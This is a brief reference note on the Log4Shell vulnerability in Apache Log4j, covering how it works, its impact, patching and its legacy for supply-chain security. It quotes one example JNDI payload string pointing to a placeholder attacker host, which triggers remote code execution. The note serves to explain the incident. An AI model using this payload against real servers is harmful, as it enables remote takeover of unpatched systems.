Log4Shell (Log4j)
CVE-2021-44228, December 2021. RCE in Apache Log4j via JNDI lookup in log messages. Standard string like ${jndi:ldap://attacker.com/x} in HTTP header → server fetches + runs attacker class. CVSS 10.0. One of the decade's worst vulns.
Massive impact due to Log4j ubiquitous in Java ecosystem — used by billions of devices, from Minecraft to AWS services. Hotfix: Log4j 2.17 patched issue, but patching took months+ for many orgs due to deeply-buried dependencies. CISA ordered federal agencies to patch within days. Aftermath: drove SBOM adoption (know your dependencies), supply-chain security investment, log-scrubbing libraries. Persistent 2-3 years: CISA KEV catalog contained Log4j as "actively exploited", attackers automated scanning. Classic cautionary tale.